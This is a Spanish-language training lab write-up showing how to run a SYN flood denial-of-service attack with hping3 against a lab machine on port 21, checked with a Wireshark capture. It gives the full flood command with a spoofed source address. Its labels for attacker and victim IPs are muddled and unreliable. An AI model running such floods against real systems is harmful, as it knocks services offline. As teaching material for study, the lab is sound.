

GUÍA TÉCNICA PRACTICAS INSTRUCTOR

MÓDULO 14. TALLER 1

TALLER 1: EJECUTAR UN ATAQUE DOS CON HPING3 (SYN FLOOD)

Mediante la herramienta HPING3 realice un ataque DoS, documentar proceso y resultados.

Usare los programas HPING3 y WIRESHARK para documentar el proceso.

Entro como **sudo su** para tener privilegios para arrancar el programa hping3 y ejecuto el comando:

hping3 -S 192.168.1.22 (mi máquina Kali) -a 192.168.1.24 (máquina vulnerable) -p 21 (puerto abierto obtenido con un scan de nmap) --flood

The screenshot displays a Wireshark network capture and a terminal window. The Wireshark interface shows a list of captured packets, all of which are TCP RST (Reset) packets from the source IP 192.168.1.24 to the destination IP 192.168.1.22 on port 21. The packet details pane shows the selected packet as a Transmission Control Protocol (TCP) segment with source port 21 and destination port 22784. The terminal window shows the execution of the hping3 command: `hping3 -S 192.168.1.22 -a 192.168.1.24 -p 21 --flood`. The terminal output indicates that hping3 is in flood mode and no replies will be shown.

Como podemos ver el WIRESHARK nos da toda la información que se establece con la máquina victima mostrándonos el flood del hping3 a la máquina victima (DoS).